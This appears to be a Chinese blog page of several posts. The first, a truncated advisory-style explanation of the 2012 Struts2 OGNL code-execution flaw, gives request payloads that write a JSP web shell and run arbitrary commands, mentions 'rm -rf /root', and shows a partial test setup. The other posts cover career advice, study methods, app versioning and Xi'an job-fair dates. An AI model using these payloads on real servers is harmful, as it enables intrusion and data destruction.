刚刚@乌云-漏洞报告平台公布的struts2代码执行漏洞,具体的漏洞说明地址https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt还是热乎的,我大概白话一下。这个漏洞的级别很高,都升级修补一下。影响版本是2.3.1和2.3.1之前的版本解决办法是升级2.3.1.1漏洞原理(自己理解的)Struts2的核心是使用的WebWork,处理Action时通过ParametersInterceptor(参数过滤器)调用Action的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。例如处理请求配置这样<action name="Test" class="example.Test"> <result name="input">test.jsp</result></action>通过ONGL就可以转换成/Test.action?id=’%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b’oh!god!系统权限就有了,想干什么,就可以干什么了。或者这样/Test.action?id=’%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec(‘calc’))%2b’想执行什么就可以执行什么了。比如 rm –rf /root..我根据说明做了一下测试jdk:1.6struts:2.2.1代码如下:struts.xml 1:<?xmlversion="1.0"encoding="UTF-8" ?> 2:<!DOCTYPEstrutsPUBLIC 3:"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" 4:"http://struts.apache.org/dtds/struts-2.0.dtd"> 5:<struts> 6:<packagename="default"namespace="/"extends="struts-default"> 7:<actionname="test"class="me.dapeng.action.Test"> 8:<resultname="input">test.jsp</result> 9:</action> 10:</package> 11:</struts>Test.java 1:package me.dapeng.action; 2: 3:import com.opensymphony.xwork2.ActionSupport; 4: 5:/** 6: * 7: * @ClassName:Test.java.java 8: * @ClassDescription:测试Struts2漏洞 9: * @Author:dapeng 10: * @CreatTime:2012-1-9 下午1:45:36 11: * 12: */ 13:publicclass Test extends ActionSupport { 14:long id; 15: 16: @Override 17:public String execute() throws Exception { 18: System.out.println("execute input"); 19:return"input"; 20: } 21: 22:publiclong getId() { 23:return id; 24: } 25: 26:publicvoid setId(long id) { 27:this.id = id; 28:…
原文网址:http://bwqcw.cn/2009/12/yue-du-shi-jian-shi-me-jiao-gong-zuo/ 当时公司招了大批应届本科和研究生毕业的新新人类。平均年龄25岁。那个新的助理,是经过多次面试后,我亲自招回来的一个女孩。名牌大学本科毕业,聪明,性格活泼。私下里我得承认,我招她的一个很重要的原因,除了她在大学里优秀的表现之外,还因为她写了一手漂亮的字。女孩能写一手好字的不多,尤其像她,看起来长发飘飘,多么女性化的一个姑娘,一手字却写的铿锵倜傥,让我对她不由多了很多好感。 手把手的教。从工作流程到待人接物。她也学的快。很多工作一教就上手。一上手就熟练。跟各位同事也相处的颇融洽。我开始慢慢的给她一些协调的工作,各部门之间以及各分公司之间的业务联系和沟通让她尝试着去处理。 开始经常出错。她很紧张,来找我谈。我告诉她:错了没关系,你且放心按照你的想法去做。遇到问题了,来问我,我会告诉你该怎么办。仍然错。又来找我,这次谈的比较深入,她的困惑是,为什么总是让她做这些琐碎的事情?我当时问她:什么叫做不琐碎的工作呢? 悦读时间:什么叫工作? 她答不上来,想了半天,跟我说:我总觉得,我的能力不仅仅能做这些,我还能做一些更加重要的事情。那次谈话,进行了1小时。我知道,我说的话,她没听进去多少。后来我说,先把手头的工作做好,先避免常识性错误的发生。然后循序渐进罢。 半年以后,她来找我,第一次提出辞职。我推掉了约会,跟她谈辞职的问题。问起辞职的原因,她跟我直言:本科四年,功课优秀,没想到毕业后找到了工作,却每天处理的都是些琐碎的事情。没有成就感。我又问她:你觉得,在你现在所有的工作中,最没有意义的最浪费你的时间精力的工作,是什么?她马上答我:帮您贴发票,然后报销,然后到财务去走流程,然后把现金拿回来给您。 我笑着问她:你帮我贴发票报销有半年了吧?通过这件事儿,你总结出了一些什么信息? 她呆了半天,答我:贴发票就是贴发票,只要财务上不出错,不就行了呗,能有什么信息? 我说,我来跟你讲讲,当年我的做法吧:98年的时候,我从财务被调到了总经理办公室,担任总经理助理的工作。其中有一项工作,就是跟你现在做的一样,帮总经理报销他所有的票据。本来这个工作就像你你刚才说的,把票据贴好,然后完成财务上的流程,就可以了。 其实票据是一种数据记录,它记录了和总经理乃至整个公司营运有关的费用情况。看起来没有意义的一堆数据,其实它们涉及到了公司各方面的经营和运作。于是我建立了一个表格,将所有总经理在我这里报销的数据按照时间,数额,消费场所,联系人,电话等等记录下来。 我起初建立这个表格的目的很简单,我是想在财务上有据可循,同时万一我的上司有情况来询问我的时候,我会有准确的数据告诉他。通过这样的一份数据统计,渐渐的我发现了一些上级在商务活动中的规律,比如,哪一类的商务活动,经常在什么样的场合,费用预算大概是多少;总经理的公共关系常规和非常规的处理方式。等等等等。 当我的上级发现,他布置工作给我的时候,我会处理的很妥贴。有一些信息是他根本没有告诉我的,我也能及时准确的处理。他问我为什么,我告诉了他我的工作方法和信息来源。 渐渐的,他基于这种良性积累,越来越多的交待更加重要的工作。再渐渐的,一种信任和默契就此产生,我升职的时候,他说我是他用过的最好用的助理。 说完这些长篇大论,我看着这个姑娘,她愣愣的看着我。我跟她直言:我觉得你最大的问题,是你没有用心。在看似简单不动脑子就能完成的工作里,你没有把你的心沉下去,所以,半年了,你觉得自己没有进步。她不出声。但是收回了辞职报告。 又坚持了3个月,她还是辞职了。这次我没有留她。让她走了。 后来她经常在MSN上跟我聊天。告诉我她的新工作的情况。一年内,她换了三份工作。每一次都坚持不了多久。每一次她都说新的工作不是她想要的工作。05年的时候,她又一次辞职了。很苦恼,跑来找我,要跟我吃饭。我请她去写字楼后面的商场吃日本料理。吃到中途,忽然跟我说:我有些明白你以前说的话是什么意思了。 所谓的职业生涯,其实你很难预测到你将来真正要从事什么工作,将来所要从事的工作,是否跟你在大学里学的专业有关。大多数人,很有可能将来所作的工作,跟他当初所学的专业一点关系都没有。从22岁大学毕业在26岁之间这四年,重要的不是你做了什么,重要的是你在工作中养成了怎么样的良好的工作习惯。这个良好的工作习惯,指的是:认真,踏实的工作作风,以及是否学会了如何用最快的时间接受新的事物,发现新事物的内在规律,比别人更短时间内掌握这些规律并且处理好它们。具备了以上的要素,你就成长为一个被人信任的工作的人。 人都有惰性,也都愿意用那些用起来顺手的人。当你具备了被人信任的基础,并且在日常的工作中逐渐表现出你的踏实,聪明,和细致的时候,越来越多的工作机会就会提供到你面前。原因很简单,用一句话就能交代清楚并且能被你顺利完成的工作,谁愿意说三句话甚至半小时交待一个怎么都不明白的人呢?沟通也是一种成本,沟通的时间越少,内耗越少,这是作为管理者最清楚的一件事。 当你有比别人更多的工作机会去接触那些你没有接触过的工作的时候,你就有了比别人多的学习机会,人人都喜欢聪明勤奋的学生,作为管理者,大概更是如此。 一个新手,大多数新手,在这四年里,是看不出太大的差距的。但是这四年的经历,为以后的职业生涯的发展奠定的基础,是至关重要的。很多人不在乎年轻时走弯路,很多人觉得日常的工作人人都能做好没什么了不起。然而就是这些简单的工作,循序渐进的、隐约的,成为今后发展的分水岭。 漫不经心的对待基层工作的最大的损失,就是将看似简单的事物性处理方式,分界成为长远发展的能力问题。 聪明的人,总是不认为自己的能力有问题。时间长了,他会抱怨自己运气不好,抱怨那些看起来资质普通的人,总能比自己更能走狗屎运。抱怨她容貌比自己好,或者他更会讨领导欢心。等等等等。慢慢的,影响心态。所谓的怀才不遇,有时是这种情况。 工作需要一个聪明人,工作其实更需要一个踏实的人。在聪明和踏实之间,我更愿意选择后者。 而踏实,是人人都能做到的。和先天条件没有太大关系。?
原文网址:http://www.yeeyan.com/articles/view/19724/63150 简介 死记硬背的学习方式是如此之痛苦,那么究竟有什么方法能够逃离这个梦魇呢? 本文向你介绍了如何不用死记硬背的方式,也能达到高效学习的方法。 Yibie言:这篇文章是我非常喜欢的一个英文博客写的,叫Think Simple Now,原文的标题是《How to Learn Without Memorizing》,原作者为Scott Young。 在学习上,死记硬背是一种低效的方法。它仅仅用一种方式不断地在你的头颅里面“砰砰”地重击,将同一种知识重复上几十次。如果让你的硬盘拥有这样的精度,我看你应该会将这个硬盘扔掉。 不幸的是,你不得不拥有这样的脑袋。有一个好消息,就是你不是必须要通过记忆来学习。在你的头脑里面使用一个不同的系统来储存绝大多数知识会比较好——将所有的知识连结起来,通过这种方式来学习。 几年之前,我注意到,聪明的人在学习上看起来与绝大多数人不一样。当多数人将同一种知识反复回顾了几十次的时候,聪明的人仅仅需要回顾一次或两次就足矣。当大多数人以他们被教导的方式来应用他们学到的知识的时候,聪明的人已经在很多不同的场景下使用这些知识了。 虽然毫无疑问在遗传学上的一些优势,一些人确实是可以轻松如意的学习,但我认为这应该归功于学习策略。当大多数人努力的去记忆的时候,聪明的人创新 的在知识之间建立起联系。这些联系让知识变得容易记忆,所以不需要太多的记忆活动。另外,新的联系另知识更容易理解,所以学起来也更快。 你的头脑,是一个文件柜,还是一个知识脉络? 电脑以连续的成千上万个用电子表示的1或0的方式来储存知识。你的头脑并不这样。你的头脑由数十亿个神经元连结而成。很多人试图学习——好像把大脑当作电脑那样:以一种有序的方式来记忆知识。 可是,你的头脑并不有一序列的比特与字节组成,所以这种将大脑当作电脑的学习方式是行不通的。使用构建你大脑的那种方式——将所有知识连结成一个网络,会比用死记硬背将知识储存起来的方式,更行得通。 创新型学习 在这篇文章里面,我所倡导的学习方式大概是比学校里面的教导风格更具有创新性、自发性的方式。取代基本上毫无益处的反反复复的浏览同一种知识的方 式,将你的时间投资到学习创建你正在学习的知识之间的联系。这不仅仅是一种更自然的方式,还因为它不像大多数的记忆任务那样痛苦无聊。 你能以多种方式来创新的学习: 1. 通过发现事物相关联之处 通过你已经明白的知识与要学习的知识关联起来,以使知识连结在一起。复杂的物理方程,以现实生活中的例子与之相关联。想象一下,一个导数作为车上的车速计。将二次方程视作Plink-0这个游戏。 你可以以更少的技术科目来做同样的事情。当我阅读《王子》这本书的时候,我将 Nicclo Machiaveli 的想法与我的生活关联在一起。如果你将一个抽象的例子关联到一些更为普遍的事物上,它将变得更为简单易懂。你有效的创建了一个你所直观了解与你不断斗争的 事物之间的桥梁。 2. 通过图解 画出一张表示知识之间的关系的图解。这是让你能创建知识之间的关联的方式,纯以手工的。重点在於,你尽可能的摸索关联你的知识的方式,而不仅是重复一样的图解。如果你用各式各样的知识连结然后如果你忘记其中之一,你将通过其他的知识连结来回忆起这个被你忘掉的知识。 将知识转化为图例,是基于时间和地点、作者或其他不同知识间相类似的地方。如果你在学习综合科目,像化学或物理,何不将所有知识之间的关联画出来。许多方程式是相互印证或相互推到的,所以你能通过简单的方式将它们关联起来,以更轻松的学习复杂的方程式。 3. 通过“好像,不过……” 另外一条关联知识的方法是,将一个知识与另外一个知识相关联起来,记录它们之间的不同点。“它是这样,但它有另外的替代。”使用这种模式去理解,能叫知识相关联起来,即使你没有一个完美的相关联之处或关系图。 例子: *孔子与苏格拉底同时诞生,但生活在古代的中国 *分期付款就像是支付贷款的资产的一个版本,除了它不需要支付利息 *加速度与重力相似,但它没有方向 知识之间的关系不需要那么明确。你不用试图为周遭的事物去构建一个完美而精确的地图,只要像一个草图就好。创新性的连结,即使它们仅仅具备 80-90%的精度,也比枯燥无味的连结要好记的多。如果你已经明白你所学习的科目,那么知识与知识间连结的精度就不比知识连结本身重要。 4. 通过形象思维 有其它简单的方法可以令知识变得更具体,那就是将它们想象出来成为一种可以看见的形式。当我学习电脑编程的时候,我就经常试图将抽象、概念性的变 量、函数、多形性与更生动的视觉上的描述关联起来。如果一个变量变成一种罐头,或一个函数变成一个疯狂的卷笔刀的话,你会更有可能记忆知识之间的关系。 如果你不是视觉类型的学习者,你可以将这种策略应用到你其它的五感上去。如果你心理上更接近于使用听觉或触觉来记忆知识,这种策略对你而言可能会更有意义。 5. 你能将之解释给5岁的小孩听吗? 其它连结知识的方法是将非常难以理解的知识与那些你明白易懂的知识关联起来。现在,如果你不得不将你正在学习的科目教给一个五岁小孩,你会怎么办? 这个练习迫使你去简化。你只好以处理具象的事物,取代处理抽象的事物。我不是说,你有能力去教会一个一年级的小孩毕业班的化学课程。无论如何,如果你养成了简化事物的习惯,你会更容易的了解这些事物。教往往是最好的学习方法。 我曾经听说一个故事,说的是一个出名大学里,正在写论文的教授。他决定尽可能使论文里的结论与学术用语简单明了,而不是用以正常的学院的语调。他的目的是,通过这样的努力,文章更易于接受,对于那些未进行过学院系统训练的新闻记者而言。 令他惊讶的是,他的论文开始成为在他的学术领域里面被引用的次数最多的论文之一。看起来简单易懂的概念不仅仅是对新闻记者有助益,于其他学术领域的学者来说也一样。总结:你经常低估了别人对简单性的需求。 当你仅仅在抽象的层面上耍弄知识,你只能构建很少的知识连结。这就像是在用来两个十英尺的编织棒去编织悬吊在屋子上的篮子一样。构建联系,就像将篮子降到地面的高,那样你能用手抓住它,这样你就够构建更多有形的知识连结。 6. 童心创造力与大学课程相会 我建议你带上想象中你五岁时使用的蜡笔盒。然后想象回到童年,那时候没人会告诉你,你那些古怪、荒诞的想法组合在一起是不对的,你非常自然的就这样子去做了。不管怎样,某些时候你所身处的体制鼓励你去确认,所以你开始去询问正确的答案是什么,而不再去问哪些答案最有趣。 不要放弃你的批判性思维,要不断的提高它——在你对某一事物下结论之前,允许自己更彻底的探究这一事物。如果你在你的物理方程式的中间插入一个减号,那将会发生什么?如果你不得不去解释现实世界中发生的现象所显现的物理规则,你会怎么办? 这些练习不会浪费时间,而是通往更深层次理解的钥匙。我曾遇见过的那些最聪明的人,只要他们需要学习,他们经常都是可以在任何时间里面中最容易产生创造性描述的。如果你在学习之前,不必每天都回顾上5-10遍,那么创造性的方法可以省下你的时间,而不是浪费掉。 7. 在小组中学习 大多数的记忆活动是单独一个人在追求。不过关联知识这种就不必如此。如果你和一些人一起工作学习,你们可以尝试在相互之间解释一下某一个科目,那么你将在数个大脑里面形成的关于同一主题的知识连结中获益。这是运用头脑风暴的智慧,帮学得更快。 和头脑风暴一样,精度没有数量重要。你不必设法记忆每个你所构建的知识连结,所以即使这些知识连结并不完美,也不打紧。不管怎样,你都是想方设法地去了解与记忆这些知识,因此分享想法的小组,会更好的服务于你这个目的。 自我教育的 70% 原则 无论何时,当我尝试自己去学习某些东西的时候,我都一直努力的坚持70%的原则。这意味着,在继续深入学习某个知识之前,我会设法达到70%的明白程度与记忆程度。就算我漏掉了30%的信息,但我能更迅速的回想起来。此外,我还总是重新熟悉那些我从一开始就漏掉的部分。 采用这样的方式,理由是学习剩余的20%的知识和开始学习80%的知识,所用的努力是一样的。通过深入探究,你能保证你一直都将你的努力集中在真正有关系的地方,而不是科目的那些琐碎的细节上。 学校里面不采取这种方式是因为,在大多数的科目里面,70%仅仅是一个C=或B。在某些科目里面,70%甚至被认为是一个F。所以按这个规则来做的话,未必能在学年成绩单上取得值得期待的回报。 然而,当你在创建知识之间的连结的时候,你可以修改这个规则。精熟某些知识达到70%的水平,然后潜得更深,并了解这个知识的外围。这里有一些例子: *熟悉一个方程到70%的程度,然后去运用。 *学习一个哲学命题到70%的程度,然后尝试去解释其中的辩论。 *明白一个管理理论到70%的程度,然后阅览它的应用情况。 *记下一个新语言中的70%的单词,然后在对话中练习它。 如果你用这种方法来学习,你可以更早的构建知识的连结点。而不是等到你有点印象之后才开始将知识关联起来,你可以在探索中立马开始。这样可以减少你的记忆量,帮助你更快的学习。 什么时候记忆是必需的? 就如所有规则一样,关联知识,不是那么容易就能精通。当你必须去记忆大量的知识,但它们没有什么特别的意义,在这种时候,死记硬背是最好的方式。人 类的大脑是一个「意义产生机」,通过学习构建知识连结的方式,来关闭这个功能。所以当你要学习大量、丰富而缺乏逻辑关系的知识的时候,你可能难以将知识关 联起来。 我犹豫着要不要说这个,但是,因为95%的知识并不是无意义的,否则你根本就不用去学习。有一种模式,如果你将你的时间投入其中,那将增大在脑袋里保留的机会。
做了两天的jremind,我想把它继续做下去,做一个能拿的出手的软件,学习了版本的定义,也更改了软件的图标,要图标和软件的作用基本一致的啊! 版本我使用GNU 风格的版本号命名格式,因为这种命名格式可以从0开始,而Windows 风格的版本号命名格式和.Net Framework 风格的版本号命名格式都是从1开始的,我们要低调些,对吧!比如著名的foobar2000到现在还是在0.9的版本,还没1呢!所以我重新整理了一下版本,现在的最新版本是0.1.1.0的版本,0.1就是刚出生的版本,0.1.1.0今天刚添加了一个功能,并没有修改bug等功能。如果在0.1.1版本上局部修改或 bug 修正,那么版本就是0.1.1.1了!最后还可以添加一个编译版本号,就是被编译器编译过的次数了,可以没有这个了!还能用alpha beta等之类的,我的还没有成形,那就先不加了啊! 软件的图标我使用的是使用鹦鹉,添加了hello的文字,提醒一下了!hello,现在想想还可以学学酷狗啊!呵呵!可以发展,不过想的太远了啊!先发图看看吧! 做这个软件的初衷是用来提醒自己的,jremind的口号就是“时刻提醒着你自己!”!
刚刚收到的消息,最近的毕业生的就业洽谈会。医药类:3月7日在陕西中医学院举行; 理工综合类:3月12日在西北工业大学友谊校区; 综合类:3月14日在西北大学北校区; 纺织综合类:3月14日在西安工程大学金花校区; 体育类:3月14日在西安体育学院; 农林综合类:3月14日,由西北农林科技大学和杨凌职业技术学院承办,地点在杨凌示范区实用技术馆; 通讯电子类:3月15、16日在西安电子科技大学北校区; 土建运输类:3月20日在长安大学; 机械电子类:3月21日在西安理工大学金花校区; 土建综合类:3月21、22日,由西安建筑科技大学、西安科技大学、西安航空高等专科学校三校共同承办,在西安建筑科技大学校内文体馆举行; 综合类:3月18日在西安交大思源活动中心举行; 医药卫生类:3月18日在西安交大医学校区505体育馆举行; 非师范类:3月28日在陕西师范大学长安校区; 综合类:3月28日在西北政法大学长安校区; 综合类:4月10日在西安交大城市学院; 综合类:4月9日在延安大学;